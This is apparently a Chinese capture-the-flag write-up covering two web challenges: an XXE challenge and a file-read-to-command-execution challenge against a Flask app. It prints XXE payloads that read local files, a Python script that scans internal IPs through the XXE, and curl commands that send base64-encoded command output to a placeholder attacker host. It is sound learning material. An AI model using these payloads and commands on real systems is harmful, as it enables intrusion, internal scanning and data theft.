[NCTF2019]True XML cookbook、
一个登录页面,尝试抓包看看能不能爆破。
可以看到我输入的用户名进行请求后又从服务端返回了。所以我们可以想到能不能用这样的方式让服务器返回它内部的文件呢?这样的话也就是可以读取到flag了;联想到XXE显式攻击。
<?xml version="1.0" ?>
<!DOCTYPE note [
<!ENTITY test SYSTEM "file:///flag">
]>
<user>
<username>&test;</username>
<password>123456</password>
</user>
尝试直接读取flag
不可以直接读取,那么就尝试读其他文件
XML解释器支持多种协议,其中PHP就支持http和gopher,所以可能flag存在于内网主机上,我们需要通过XXE对内网进行探测。
/etc/hosts 储存域名解析的缓存
/etc/passwd 用户密码
/proc/net/arp 每个网络接口的arp表中dev包
读取到了内网网址,
IP address HW type Flags HW address Mask Device
192.168.122.15 0x1 0x2 ee:ee:ee:ee:ee:ee * eth0
169.254.1.1 0x1 0x2 ee:ee:ee:ee:ee:ee * eth0
尝试连接,连接失败,
读取 /proc/net/fib_trie
查看fib_trie文件。每个+号代表trie树的一个中间节点,其后的三个数字分别代表节点处理的比特位数量,节点full_children的数量,节点empty_children的数量。对于叶子节点,显示路由的scope和type。
尝试连接内网10.244.166.59
还是连接失败,那就查询同网段内是否还存在其他的地址,利用bp爆破模块进行爆破。
爆破时间有点慢,爆破256位,但是
都是504。
尝试用python脚本
import requests as res
url="http://ca370452-3318-41c8-8605-3eaab106f0a0.node5.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE user ['\
'<!ENTITY payload1 SYSTEM "http://10.244.166.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload1;'\
'</username>'\
'<password>'\
'23'\
'</password>'\
'</user>'
for i in range(1,256):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='')
try:
resp=res.post(url,data=payload,timeout=0.3)
except:
continue
else:
print(resp.text,end='')
finally:
print('')
可以看到在133,刚刚看了一下,是题目环境没有了,再次尝试bp爆破。
该题考查的是xxe漏洞,利用该xxe漏洞读取内网IP,然后再爆破该内网的同段内网网址,连接。
[网鼎杯 2020 白虎组]PicDown
一个空白页面,什么都没有,尝试在方框里输入数字看看
可以看到它进行了一个get传参url
抓包进行修改
构造?url=///etc/passwd,成功读取,可以执行命令
构造/page?url=///proc/self/environ
读取当前环境变量,/proc/self/environ
是一个 Linux 系统上的虚拟文件,它包含了当前进程的环境变量。
可以看到当前环境是/app
那么是不是就可以猜测脚本为app.py
路径就是 /app/appy.py
可以看到成功读取源代码
进行代码审计
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
python2的urllib
的urlopen
,和urllib2
中的urlopen
明显区别就是urllib.urlopen
支持将路径作为参数去打开对应的本地路径,所以可以直接填入路径读取文件。
代码审计发现,no_one_know_the_manager页面下接收key和shell,key要求和secret_key一样。
但是secret.txt读不了
要利用的路由为/no_one_know_the_manager
,但是使用这个路由需要知道SECRET_KEY
的内容。
注意关于SECRET_KEY
的逻辑,虽然该文件在打开读取后被删除了,但是注意这个文件没有关闭,所以仍然可以通过/proc/self/fd/[num]
访问对应文件(此处[num]代表一个未知的数值,需要从0开始遍历找出),这里在/proc/self/fd/3
找到
找到key后尝试进行命令执行
这里使用命令外带的方式读取执行结果。这里需要将key和shell的内容进行url编码.
key为3oGKMya97SYJMXUwYUB3GGeoivviTGOIM0zZwDtFA48=
这里即便执行成功,也只会返回ok
curl反弹shell
no_one_know_the_manager?key=3oGKMya97SYJMXUwYUB3GGeoivviTGOIM0zZwDtFA48=&shell=curl ip:端口/`ls /|base64`
根目录下发现flag
执行cat /flag
?key=3oGKMya97SYJMXUwYUB3GGeoivviTGOIM0zZwDtFA48=&shell=curl ip:端口/`cat /flag|base64`
该题考查的是 任意文件读取以及代码审计,然后就是反弹shell拿到权限。
在linux中,proc是一个虚拟文件系统,也是一个控制中心,里面储存是当前内核运行状态的一系列特殊文件;该系统只存在内存当中,以文件系统的方式为访问系统内核数据的操作提供接口,可以通过更改其中的某些文件来改变内核运行状态。它也是内核提供给我们的查询中心,用户可以通过它查看系统硬件及当前运行的进程信息。
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。
在得到key后就可以进行命令执行,但是没有回显,只能够通过反弹shell的方式。
利用curl反弹shell,看其他师傅的博客还可以使用python进行反弹shell,但是还看不懂。